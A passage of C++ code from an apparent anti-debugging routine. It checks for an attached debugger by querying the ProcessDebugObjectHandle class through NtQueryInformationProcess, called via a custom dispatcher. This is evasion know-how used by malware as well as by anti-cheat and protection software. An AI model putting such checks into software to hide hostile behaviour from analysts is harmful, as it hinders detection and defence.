// ProcessDebugObjectHandle (0x1E): a non-null handle means a debug object
// is attached. On newer builds this is the more reliable of the three.
HANDLE dbg_obj = nullptr;
const uintptr_t a3[5] = {
reinterpret_cast<uintptr_t>(INVALID_HANDLE_VALUE),
0x1E /* ProcessDebugObjectHandle */, reinterpret_cast<uintptr_t>(&dbg_obj),
sizeof(dbg_obj), reinterpret_cast<uintptr_t>(&retlen),
};
st = dispatch(sys().NtQueryInformationProcess, a3, 5);
if (NT_SUCCESS(st) && dbg_obj != nullptr) return true;
return false;
}